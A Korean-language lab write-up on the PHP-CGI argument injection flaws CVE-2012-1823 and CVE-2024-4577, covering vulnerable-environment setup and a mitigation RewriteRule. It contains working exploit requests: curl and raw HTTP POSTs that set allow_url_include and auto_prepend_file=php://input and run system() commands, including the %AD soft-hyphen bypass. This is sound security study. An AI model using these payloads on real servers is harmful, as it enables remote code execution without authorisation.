개요
PHP CGI Remote Code Execution(CVE-2012-1823
, CVE-2024-4577
) 취약점은 PHP가 php-cgi를 통한 동작 시, CGI 스크립트에 악의적인 구문을 넣어 “Argument Injection”을 수행하는 취약점입니다.
최근 Windows 환경의 Best-Fit Mapping 기능으로 CVE-2012-1823의 패치를 우회한 RCE 취약점이 발견되었습니다.
Best-Fit Mapping?
Best-Fit Mapping은 가장 유사한 다른 문자로 매핑하여 변환하는 기능으로, 유니코드 문자를 지원하지 않는 시스템에서도 최대한 유사한 문자로 표현할 수 있도록 합니다.
일반적인 PHP-CGI RCE 공격에 사용되는 패턴과 인자는 다음과 같습니다.
# url encoded
-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
# url decoded
-d allow_url_include=1 -d auto_prepend_file=php://input
# 외부의 URL로부터 파일을 읽어옵니다.
allow_url_fopen=1
# 외부의 파일을 incoud, includ_once, require, require_once와 같은 파일로 include 허용합니다.
allow_url_include= 1
# HTTP Request Body로부터 데이터를 갖고와 실행합니다.
auto_prepend_file=php://input
CVE-2012-1823 실습
해당 취약점은 PHP 5.3.12 이하 또는 5.4.2 버전 이하가 취약한 버전입니다.
# Description...
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
vulhub 같은 도구를 이용하면 간단하지만 여기서는 직접 취약 환경을 구축해보겠습니다.
- 실습에서는 PHP 5.4.1 버전을 사용하며 설치 파일은 아래 경로에서 다운로드합니다.
http://php.adamharvey.name/releases/
Apache & PHP 5.4.1 Install
- Debian 계열 세팅
# apache2 and apxs tools install...
apt-get install apache2 apache2-dev
# php build dependencies
apt-get install libxml2 libxml2-dev
# php install
wget http://museum.php.net/php5/php-5.4.1.tar.gz
tar -xvzf php-5.4.1.tar.gz
# php build & install
cd php-5.4.1
./configure --with-apxs2=/usr/bin/apxs
make && make install
# 만약, 설치 시 `/root/tmp/php-5.4.1/ext/dom/node.c: In function ‘dom_canonicalization’:` 에러가 발생하면 아래와 같은 절차로 php 소스파일을 패치해준 뒤 다시 빌드합니다.
apt-get install patch
wget -O php.patch https://mail.gnome.org/archives/xml/2012-August/txtbgxGXAvz4N.txt
chmod 755 php.patch
patch -p0 < php.patch
# "/etc/apache2/conf-available/php.conf" 파일 생성후 아래 설정을 세팅합니다.
<Directory "/usr/local/bin">
Require all granted
Options ExecCGI
</Directory>
ScriptAlias /local-bin /usr/local/bin
<Directory "/var/www/html">
AddHandler application/x-httpd-php5 php
Action application/x-httpd-php5 /local-bin/php-cgi
Options -Indexes
Require all granted
DirectoryIndex index.html index.php
</Directory>
# apache2 php module setting
a2enmod cgid && a2enmod actions && a2disconf serve-cgi-bin && a2enconf php
- Redhat 계열 세팅
# apache2 and apxs tools install...
yum install -y httpd httpd-devel libxml2 libxml2-devel
# php build dependencies
yum install -y libxml2 libxml2-devel
# php install
wget http://museum.php.net/php5/php-5.4.1.tar.gz
tar -xvzf php-5.4.1.tar.gz
# php build & install
cd php-5.4.1
./configure --with-apxs2=/usr/bin/apxs
make && make install
# 만약, 설치 시 `/root/tmp/php-5.4.1/ext/dom/node.c: In function ‘dom_canonicalization’:` 에러가 발생하면 아래와 같은 절차로 php 소스파일을 패치해준 뒤 다시 빌드합니다.
cd php-5.4.1
yum install -y patch
wget -O php.patch https://mail.gnome.org/archives/xml/2012-August/txtbgxGXAvz4N.txt
chmod 755 php.patch
patch -p0 < php.patch
# "/etc/httpd.conf" 내 아래 설정 세팅
<Directory "/usr/local/bin">
Require all granted
Options ExecCGI
</Directory>
ScriptAlias /local-bin /usr/local/bin
<Directory "/var/www/html">
AddHandler application/x-httpd-php5 php
Action application/x-httpd-php5 /local-bin/php-cgi
Options -Indexes
Require all granted
DirectoryIndex index.html index.php
</Directory>
# apache2 php module setting
a2enmod cgid && a2enmod actions && a2disconf serve-cgi-bin && a2enconf php
- 이후 “/var/www/html” 내 테스트 파일을 생성 및 접근한 결과 phpinfo의 Server API가 “CGI/FastCGI”로 동작되는지 확인합니다.
echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
Server API 확인
- 이후 php-cgi에 -s 인자를 보내서 php 소스코드가 그대로 출력되는지 확인합니다.
-s 인자 결과 확인
실습
- php-cgi 바이너리에 argument injection이 가능하므로 php-cgi 기능을 이용해서 RCE가 가능합니다.
- help는 다음과 같으며 핵심적인 옵션은 -d 옵션입니다. -d 옵션의 인자로 전달하여 php 설정이 가능합니다.
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>] php <file> [args...] -a Run interactively -b <address:port>|<port> Bind Path for external FASTCGI Server mode -C Do not chdir to the script's directory -c <path>|<file> Look for php.ini file in this directory -n No php.ini file will be used -d foo[=bar] Define INI entry foo with value 'bar' -e Generate extended information for debugger/profiler -f <file> Parse <file>. Implies `-q' -h This help -i PHP information -l Syntax check only (lint) -m Show compiled in modules -q Quiet-mode. Suppress HTTP Header output. -s Display colour syntax highlighted source. -v Version number -w Display source with stripped comments and whitespace. -z <file> Load Zend extension <file>. -T <count> Measure execution time of script repeated <count> times.
- RCE를 위해서는 주로 -d 인자에 아래와 같은 값들을 세팅합니다.
allow_url_fopen=1 # 외부 URL로부터 파일을 읽어오는것을 허용합니다.
allow_url_include=1 # 외부 리소스를 include, include_once, require, require_once의 함수로 include 허용합니다.
auto_prepend_file=php://input # php://input(HTTP Request Body)로부터 데이터를 추가합니다.(앞에 추가)
auto_append_file=php://input # HTTP Request Body로부터 data를 가져오고 추가합니다.(뒤에 추가)
- 여기서는 allow_url_include와 auto_prepend_file 인자를 세팅해서 curl로 POST 요청을 보냈으며 정상적으로
uname -a
명령어 결과값이 앞에 출력됩니다.
$ curl -XPOST "192.168.174.132/test.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" -d "<?php system(\"uname -a\") ?>"
Linux dohyeon 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input<br><bar>asdaasdasd⏎
- 아래는 BurpSuite로 접근한 결과입니다. BurpSuite Result
CVE-2024-4577 실습
실습환경 구축
-
해당 공격은 Windows의 Best-Fit 기능을 이용하여 하이픈(0x2D)를 소프트 하이픈(0xAD)로 우회하는 방식으로 동작하며 Windows 특정 시스템 로케일에서 동작하므로 중국어 번체 및 간체, 일본어 환경에서 수행합니다.
-
ISO 파일은 아래 마이크로소프트 공식 홈페이지를 통해서 받습니다. https://www.microsoft.com/ko-kr/software-download/windows10ISO
XAMPP(php 8.2.12) Install
GUI에서 진행되어 쉽게 설치 가능합니다.
설정파일 수정
해당 취약점 역시 Server API를 CGI/FastCGI 로 바꿔주는 과정이 필요합니다.
- “C:\xampp\apache\conf\httpd.conf” 파일에 아래 설정을 추가합니다.
# Apache가 .php 파일을 PHP-CGI 실행 파일을 사용하여 처리하도록 설정 합니다.
ScriptAlias /php-cgi/ "C:/xampp/php/"
AddHandler application/x-httpd-php .php
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
<Directory "C:/xampp/php">
Options +ExecCGI
AllowOverride None
Require all granted
</Directory>
- “C:\xampp\apache\conf\extra\httpd-xampp.conf” 파일에
LoadModule php_module "C:/xampp/php/php8apache2_4.dll"
설정을 주석처리 합니다.
php8apache2_4.dll 주석처리
- 이후 “C:\xampp\htdocs”내 테스트 파일(“test.php”)을 생성합니다.
echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
- “/test.php” 접근 결과 phpinfo의 Server API가 “CGI/FastCGI”로 동작되는지 확인합니다.
- 해당설정이 완료되면 아래처럼 Server API가 CGI/FastCGI 로 변경된 것을 확인할 수 있습니다. Server API 변경 확인
실습
- 위에서 생성한 테스트 페이지 대상으로 -s 인자를 보내서 php 소스코드가 그대로 출력되는지 확인합니다.
-
’-‘ 문자가 필터링되어 원본 소스가 노출되지 않습니다. -s 인자 결과 확인
-
%2D(‘-‘)를 %AD로 우회하여 재요청 시 php 소스코드가 그대로 노출됩니다. %2D -> %AD 우회 결과
- RCE를 위해서는 주로 -d 인자에 아래와 같은 값들을 세팅합니다.
allow_url_fopen=1 # 외부 URL로부터 파일을 읽어오는것을 허용합니다.
allow_url_include=1 # 외부 리소스를 include, include_once, require, require_once의 함수로 include 허용합니다.
auto_prepend_file=php://input # php://input(HTTP Request Body)로부터 데이터를 추가합니다.(앞에 추가)
auto_append_file=php://input # HTTP Request Body로부터 data를 가져오고 추가합니다.(뒤에 추가)
- 여기서는 allow_url_include와 auto_prepend_file 인자를 세팅해서 curl로 POST 요청을 보냈으며 정상적으로
dir
명령어 결과값이 앞에 출력됩니다.
$ curl -XPOST "10.211.55.9/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" -d "<?php system(\"dir\") ?>"
�h���C�u C �̃{�����[�� ���x��������܂���B
�{�����[�� �V���A���ԍ��� F624-507E �ł�
C:\xampp\htdocs �̃f�B���N�g��
2024/08/12 09:34 <DIR> .
2024/08/12 09:34 <DIR> ..
2022/06/16 01:07 3,607 applications.html
2022/06/16 01:07 177 bitnami.css
2024/08/12 09:23 <DIR> dashboard
2015/07/17 00:32 30,894 favicon.ico
2024/08/12 09:23 <DIR> img
2015/07/17 00:32 260 index.php
2024/08/12 09:33 26 test.php
2024/08/12 09:22 <DIR> webalizer
2024/08/12 09:23 <DIR> xampp
5 �̃t�@�C�� 34,964 �o�C�g
6 �̃f�B���N�g�� 249,832,091,648 �o�C�g�̋̈�
echo "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
... 생략 ...
- 아래는 BurpSuite로 접근한 결과입니다. “calc” 명령어를 실행하도록 했습니다.
POST /test.php?%ADd+allow_url_fopen%3d1+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3a%2f%2finput HTTP/1.1
Host: 10.211.55.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 23
<?php system("calc") ?>
BurpSuite Result
- 로컬 시스템에서 “calc” 명령어가 실행된 것을 확인할 수 있습니다. calc 명령어 실행 확인 결과
해결책
해결책은 최신 PHP 버전 (8.3.8, 8.2.20, 8.1.29)으로 올리거나 아래처럼 RewriteRule을 추가합니다.
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
References
- https://www.vicarius.io/vsociety/posts/php-cgi-argument-injection-to-rce-cve-2024-4577
- https://operatingsystems.tistory.com/entry/Vul-CVE20121823-Vulnerability
- https://serverfault.com/questions/246743/apache-how-to-switch-to-cgi-fastcgi-server-api
- https://kkhackz.hatenablog.com/entry/2024/07/05/023542